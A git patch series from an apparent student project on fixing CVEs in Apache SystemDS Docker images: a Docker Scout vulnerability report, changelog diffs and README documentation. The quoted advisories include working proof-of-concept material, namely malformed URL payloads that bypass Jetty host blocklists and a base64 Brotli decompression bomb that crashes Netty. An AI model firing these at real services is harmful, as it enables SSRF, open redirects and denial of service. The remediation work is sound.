critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.118.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.118.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
-low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference - - - - - - -
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
- -
Description -
- -### From the reporter - -> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. -> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit -> this vulnerability in order to achieve SSRF or cause a denial of service. -> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the -> WAR includes a malicious web.xml. - -### Impact -There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. - -Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. - -However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. - -### Patches -Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 - -### Workarounds -Don't use `XmlParser` to parse data from users. - - - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- From 3e91c940cc633be4e6fd6360effe02a618245887 Mon Sep 17 00:00:00 2001 From: anabel-ksp Date: Thu, 29 Jan 2026 13:31:38 +0100 Subject: [PATCH 21/31] [DOC][SYSTEMDS-3878] Simplify changelog format in summary-of-changes --- .../summary-of-changes/README.md | 81 +++++-------------- 1 file changed, 20 insertions(+), 61 deletions(-) diff --git a/docker/SYSTEMDS-3878/summary-of-changes/README.md b/docker/SYSTEMDS-3878/summary-of-changes/README.md index 10c8696224b..643c52b4803 100644 --- a/docker/SYSTEMDS-3878/summary-of-changes/README.md +++ b/docker/SYSTEMDS-3878/summary-of-changes/README.md @@ -506,9 +506,7 @@ This change was reset before merging. --- -# Git Commit History - -## December 2025 +# Changelog ### Dec 4, 2025 - **`[MINOR][DOCS][SYSTEMDS-3878]`** Write two markdown files to log work and document changes @@ -516,16 +514,6 @@ This change was reset before merging. - Added `systemds-3878_summary-of-changes.md` to document Dockerfile modifications - Author: @qschnee -### Dec 5, 2025 -- **`[MINOR][SYSTEMDS-3878]`** Add Docker Scout vulnerability scan for sysds.Dockerfile - - Added initial security scan results for `apache/systemds:latest` - - Docker Scout identified 79 vulnerabilities (4 Critical, 29 High, 36 Medium, 9 Low) - - Author: @a-kasprick - ---- - -## January 2026 - ### Jan 6, 2026 - **`[MINOR][SYSTEMDS-3878]`** Fix CVE-2023-44981 org.apache.zookeeper critical vulnerability - Updated zookeeper from 3.6.3 → 3.8.3 @@ -534,13 +522,8 @@ This change was reset before merging. - Author: @qschnee ### Jan 11, 2026 -- **`[MINOR][SYSTEMDS-3878]`** Fix pom.xml vulnerability (CVE-2024-47561) - - Added avro.version property (1.11.4) for Apache Avro deserialization vulnerability - - Author: @anabel-ksp - -- **`[MINOR][SYSTEMDS-3878]`** Fix pom.xml vulnerability (CVE-2023-25613) - - Added kerby.version property (2.0.3) for Apache Kerby LDAP Injection vulnerability - - Author: @anabel-ksp +- kerby → 2.0.3 (CVE-2023-25613) +- avro → 1.11.4 (CVE-2024-47561) ### Jan 14, 2026 - **`[MINOR][SYSTEMDS-3878]`** Fix pom.xml dependencyManagement merge error @@ -553,26 +536,22 @@ This change was reset before merging. - Author: @qschnee ### Jan 15, 2026 -- **`[MINOR][SYSTEMDS-3878]`** Fix multiple high-severity CVEs in transitive dependencies - - CVE-2024-7254: protobuf-java 3.23.4 → 3.25.5 (CVSS 8.7) - - CVE-2024-47554: commons-io → 2.14.0 - - CVE-2023-1436: jettison → 1.5.4 - - CVE-2023-43642: snappy-java → 1.1.10.4 - - CVE-2023-6378: logback → 1.2.13 - - CVE-2025-52999: jackson-core → 2.15.0 - - CVE-2023-1370: json-smart → 2.4.9 - - CVE-2023-52428: nimbus-jose-jwt → 9.37.4 - - CVE-2024-36114: aircompressor → 0.27 - - Author: @anabel-ksp +- json-smart → 2.4.9 (CVE-2023-1370) +- jettison → 1.5.4 (CVE-2023-1436) +- snappy-java → 1.1.10.4 (CVE-2023-43642) +- nimbus-jose-jwt → 9.37.4 (CVE-2023-52428) +- logback → 1.2.13 (CVE-2023-6378) +- aircompressor → 0.27 (CVE-2024-36114) +- commons-io → 2.14.0 (CVE-2024-47554) +- protobuf-java → 3.25.5 (CVE-2024-7254) +- jackson-core → 2.15.0 (CVE-2025-52999) ### Jan 16, 2026 -- **`[MINOR][SYSTEMDS-3878]`** Fix additional high-severity CVEs in transitive dependencies - - Netty 4.x components → 4.1.124.Final (CVE-2025-55163, CVE-2023-44487) - - Jetty components → 9.4.57.v20241219 (CVE-2024-6763) - - xnio-api → 3.8.14.Final (CVE-2023-5685) - - commons-beanutils → 1.11.0 (CVE-2025-48734) - - dnsjava → 3.6.0 (CVE-2024-25638) - - Author: @anabel-ksp +- netty → 4.1.124.Final (CVE-2023-44487, CVE-2025-55163) +- xnio-api → 3.8.14.Final (CVE-2023-5685) +- dnsjava → 3.6.0 (CVE-2024-25638) +- jetty → 9.4.57.v20241219 (CVE-2024-6763) +- commons-beanutils → 1.11.0 (CVE-2025-48734) ### Jan 21, 2026 - **`[MINOR][SYSTEMDS-3878]`** Fix additional medium-severity CVEs (jetty-http, commons-compress, commons-configuration2) @@ -613,36 +592,16 @@ This change was reset before merging. - Author: @qschnee ### Jan 25, 2026 -- **`[MINOR][SYSTEMDS-3878]`** Fix Alpine APK CVEs in Docker image - - Fixed openssl CVEs (CVE-2025-9230, CVE-2025-9231, CVE-2025-9232) → 3.3.5-r0 - - Fixed busybox CVEs (CVE-2025-46394, CVE-2024-58251) → 1.36.1-r31 - - Added exclusions in pom.xml for guava, jackson, and jetty transitive dependencies - - Author: @anabel-ksp +- busybox → 1.36.1-r31 (CVE-2024-58251, CVE-2025-46394) +- openssl → 3.3.5-r0 (CVE-2025-9230, CVE-2025-9231, CVE-2025-9232) ### Jan 28, 2026 - **Merge PR #7**: Fix Alpine APK CVEs in Docker image - Author: @qschnee ### Jan 29, 2026 -- **`[DOC][SYSTEMDS-3878]`** Document unfixed CVEs in Docker image - - Added `UNFIXED_VULNERABILITIES.md` explaining remaining security vulnerabilities - - Author: @anabel-ksp +- Created `UNFIXED_VULNERABILITIES.md` documenting 16 remaining CVEs - **`[MINOR][SYSTEMDS-3878]`** pom.xml cleanup - Removed empty lines, fixed formatting and indenting - Author: @qschnee - -- **Merge PR #8**: Rebase apache/systemds:latest into fork - - Author: @anabel-ksp - -- **Merge PR #9**: Document unfixed CVEs in Docker image - - Author: @anabel-ksp - ---- - -## Contributors - -- **@anabel-ksp** (Anabel Kasprick) -- **@qschnee** (Quentin Schneebeli) -- **@a-kasprick** - From f35641c917351435aa38fe69bcce44e1ab45788e Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Thu, 29 Jan 2026 14:58:27 +0100 Subject: [PATCH 22/31] [DOC][SYSTEMDS-3878] Wrote a readme explaining the student project 3878 --- .../README.md} | 163 +++++++++++++++--- 1 file changed, 135 insertions(+), 28 deletions(-) rename docker/{project_systemds-3878.md => SYSTEMDS-3878/README.md} (53%) diff --git a/docker/project_systemds-3878.md b/docker/SYSTEMDS-3878/README.md similarity index 53% rename from docker/project_systemds-3878.md rename to docker/SYSTEMDS-3878/README.md index a216f0d4aab..4082801fce5 100644 --- a/docker/project_systemds-3878.md +++ b/docker/SYSTEMDS-3878/README.md @@ -1,7 +1,17 @@ # Data Integration and Large-Scale Analysis -## Student Project SYSTEMDS-3878 +## Overview + +This README presents the project 3878 and serves as index for the documentation. + +The goal of SYSTEMDS-3878 as presented in [jira](https://issues.apache.org/jira/browse/SYSTEMDS-3878) is to "Improve Docker Security": +>This task is to improve the security of the Docker images we provide. Currently we get an 'F' evaluation on DockerHub, and we would like instead to provide secure images. +https://hub.docker.com/repository/docker/apache/systemds/general -## Start + + +## Working on apache/systemds + +### Create a fork 1. Fork systemds github on own account 2. Invite project member @@ -10,7 +20,9 @@ 1. Clone project on computer (git clone git@\.git) 1. Get a local version of the systemds project on the computer -### CONTRIBUTING.md +### Commiting + +Extract from [CONTRIBUTING.md](https://github.com/qschnee/systemds/blob/main/CONTRIBUTING.md). A commit or PR description is a public record of **what** change is being made and **why**. @@ -44,7 +56,7 @@ Additional info - future readers to understand the Changes. 6. Add PR number, like `Closes #1000`. -#### Example for us: +#### Example for this project: ```text [MINOR][SYSTEMDS-3878] Fix .Dockerfile vulnerability () @@ -52,67 +64,139 @@ Additional info This commit fixes the following vulnerability identified by docker scout cves: <...>. The following changes have been made on the Dockerfile: <...>. - + ``` ## Docker scout cves -### Usage +We used the tool docker scout cves to identify and solve vulenrabilities in the systemds image build from the Dockerfile. + +From the man page: +>The docker scout cves command analyzes a software artifact for vulnerabilities. \ +If no image is specified, the most recently built image is used. \ +[...] \ +The tool analyzes the provided software artifact, and generates a vulnerability report. + +### Usage ``` sh +cd path/to/systemds +./docker/build.sh docker scout cves --details --format markdown -o docker/scout_results/sysds_outputX.md --epss apache/systemds ``` -To identify tricky packages, using the json output with `--format sarif` helps by showing the path to the vulnerable package. +To identify the location of tricky packages, using the json output with `--format sarif` helps by showing the path to the vulnerable package (which is not shown in the "human-readable" markdown output). + +### Command details + +#### Local analysis + +To use docker scout and see if local changes succesfully solved a vulnerability, it is necessary to modify `sysds.Dockerfile`. \ +`systemds` is cloned from github instead of using the local systemds project. This change should be reverted and rever merged to the master branch. +```Dockerfile +# Build the system +# RUN git clone --depth 1 https://github.com/apache/systemds.git systemds && \ +# cd /usr/src/systemds/ && \ +# mvn --no-transfer-progress clean package -P distribution + +# Copy the local SystemDS source into the image +COPY . /usr/src/systemds +# Build SystemDS +RUN cd /usr/src/systemds && \ + mvn --no-transfer-progress clean package -P distribution +``` + +#### Options 1. build systemds project \ `./docker/build.sh` - - builds the image: `apache/systemds:latest` + - builds the image with the tag: `apache/systemds:latest` - default runs: `docker image build -f docker/sysds.Dockerfile -t apache/systemds:latest .` - - comment out build.sh to change selected `Dockerfile` + - modify `docker/build.sh` to change the selected `Dockerfile` for the build 2. scout \ - `docker scout cves --details --format markdown -o /scout_results/_output0.md --epss apache/systemds` (from root dir) + `docker scout cves --details --format markdown -o /scout_results/_output0.md --epss apache/systemds` (from systemds directory) - `--details`: verbose - `--format markdown`: output in markdown format - `-o `: write output to file - `-epss`: show epss score - `--epss --epss-score 0.1`: filter for vulnerabilities that have more than 10% probability to be exploited. +#### Troubleshoot +Docker scout does not run because `/tmp` is full: +- `df -h`: to see usage of partitions. +- `du -h /home/schnee/DIA-sysds-scout-tmp/` to see directory usage. +- `docker scout cache df` and `docker scout cache prune` to view and clear scout cache. + +Change default tmp partition to a bigger filesystem +- `export TMPDIR=/absolute/path/to/sysds-scout-tmp` +- `export DOCKER_SCOUT_CACHE_DIR=/absolute/path/to/sysds-scout-tmp` +
Directly from filesystem (Dockerfile) > Does Not Work - > No vulnerability found + No vulnerability found ```bash cd project_root_directory docker scout cves --format markdown -o scout_results/output0.md --epss fs://docker_subdirecory/file.Dockerfile ``` - Add `--epss --epss-score 0.1` to filter for vulnerabilities that have more than 10% probability to be exploited. -
### Solve vulnerabilities -By using the CVE code and reading the description, most vulnerabilities have solutions or workarounds. +By using the CVE code and reading its description, most vulnerabilities have solutions or workarounds. #### Upgrading the related package -One way to solve a vulerability is simply to upgrade the package it happens in. +One way to solve a vulerability is simply to upgrade the package the CVE happens in. > Sometimes, the package that raised the CVE is not included in the `pom.xml`. This can happen if the package is a dependency of another imported package. \ -> `mvn dependency:tree` (output can be found [here](systemds-3878_summary-of-changes.md#output-of-mvn-dependencytree)) shows all imported packages. +> `mvn dependency:tree` (example output can be found [here](systemds-3878_summary-of-changes.md#output-of-mvn-dependencytree)) shows all imported packages and implicit dependencies imported by other packets. + +#### Remove or switch the packet + +If the vulnerability comes from a transitive dependency: +1. update the parent dependency to a newer version which doesn't use the vulnerable packet. \ +This can be verified in Maven Repository by searching the parent packet. +1. exclude the vulnerable package from the parent and explicitly import a newer version of the vulnerable package. \ +By doing this, the parent dependency will use the explicit version instead of the vulnerable one. + +### Inspection commands to find tricky packages + +As mentioned before, using the `sarif` format in scout could help identify where the vulnerale package comes from. -### Inspection commands to find packages +If this does not help, it is possible to inspect the image directly to find the related jar. Here, `apache/zookeeper` is used as reference`: +- copy container filesystem to analyze jars: -[summary-of-changes.md](systemds-3878_summary-of-changes.md#toolbox) + ```sh + docker create --name temp apache/systemds + docker export temp > img.tar + mkdir filesystem_img + tar -xf img.tar -C filesystem_img + #Analysis + rm -rf img.tar temp filesystem_img + docker rm temp + ``` + - Find all references to zookeeper -### helloworld example + `find filesystem_img -name '*zookeeper*'` + - List all libs + + `ls -la ./filesystem_img/systemds/target/lib/` + - Inspect the jars in the image for references to zookeeper + + `find ./filesystem_img -name '*.jar' -exec sh -c 'jar tf {} | grep -i zookeeper && echo "--- Found in {}"' \;` +- Inspect the given jar for references to zookeeper + + `jar tf ~/.m2/repository/org/apache/hadoop/hadoop-common/3.3.6/hadoop-common-3.3.6.jar | grep -i zookeeper` + +### `docker scout` helloworld example To test if docker scout works correctly on your machine, you can create a simple "Hello World" Dockerfile. @@ -131,6 +215,35 @@ docker scout cves scout_hello_world_img With name scout_hello_wolrd (`-t`) 1. Scout the image with the name +The output can be viewed in the [appendix](#docker-scout-helloworld-output) + + +## Student Project SYSTEMDS-3878 + +### Results + +We managed to solve a lot of CVEs: + +| FROM: | critical: 4 | high: 29 | medium: 36 | low: 9 | unspecified: 1| +| :--- | :--- | :--- | :--- | :--- | :--- | +| TO: | critical: 0 | high: 6 | medium: 8 | low: 1 | unspecified: 1 | + +The `scout` reports can be viewed in details: [scan-before-fixes](./scan-before-fixes/README.md), [scan-after-fixes](./scan-after-fixes/README.md). + +[unfixed-vulnerabilities/README.md](./unfixed-vulnerabilities/README.md) has been written to explain the last vulnerabilities that hove not been fixed and why. + +### Testing +Running `mvn clean verify` after our changes returns the same output. + +### Summary of Changes + +The changes made during the project have been documented: [summary-of-changes/README.md](./summary-of-changes/README.md). + +## Apendix + +### `docker scout` helloworld output + +[Return](#docker-scout-helloworld-example) to `docker scout` helloworld
@@ -145,9 +258,9 @@ docker scout cves scout_hello_world_img ## Overview - │ Analyzed Image - ────────────────────┼───────────────────────────────── - Target │ scout_hello_world_img:latest + │ Analyzed Image + ───────────────────┼───────────────────────────────── + Target │ scout_hello_world_img:latest digest │ 65884f6905ea platform │ linux/amd64 vulnerabilities │ 0C 0H 2M 8L @@ -258,9 +371,3 @@ docker scout cves scout_hello_world_img ```
- -## Trivy - -## Summary of Changes - -Refer to the [documentation](systemds-3878_summary-of-changes.md). \ No newline at end of file From 3d563ff72784fedca2f32bc940db162c5d4f1b61 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Thu, 29 Jan 2026 15:07:53 +0100 Subject: [PATCH 23/31] [FIX][SYSTEMDS-3878] fix merge error during the rebase, two tags created errors in the pom.xml --- pom.xml | 1 - 1 file changed, 1 deletion(-) diff --git a/pom.xml b/pom.xml index 88c10511936..10c6c42bec7 100644 --- a/pom.xml +++ b/pom.xml @@ -613,7 +613,6 @@ - org.apache.maven.plugins From 4aaed1d227657ebcf06171a9d43edea5b65d150e Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Thu, 29 Jan 2026 15:31:44 +0100 Subject: [PATCH 24/31] [DOC][SYSTEMDS-3878] trying to fix licence check for documentation --- docker/SYSTEMDS-3878/README.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/docker/SYSTEMDS-3878/README.md b/docker/SYSTEMDS-3878/README.md index 4082801fce5..c78af597fa0 100644 --- a/docker/SYSTEMDS-3878/README.md +++ b/docker/SYSTEMDS-3878/README.md @@ -1,3 +1,24 @@ + + # Data Integration and Large-Scale Analysis ## Overview From 6ff85bf0d13061ac271537e1daba32aa085f1daf Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Fri, 30 Jan 2026 10:49:20 +0100 Subject: [PATCH 25/31] [DOC][SYSTEMDS-3878] added licence at the start of documentation to solve github action --- .../SYSTEMDS-3878/scan-after-fixes/README.md | 21 +++++++++++++++++++ .../SYSTEMDS-3878/scan-before-fixes/README.md | 21 +++++++++++++++++++ .../summary-of-changes/README.md | 21 +++++++++++++++++++ .../unfixed-vulnerabilities/README.md | 21 +++++++++++++++++++ 4 files changed, 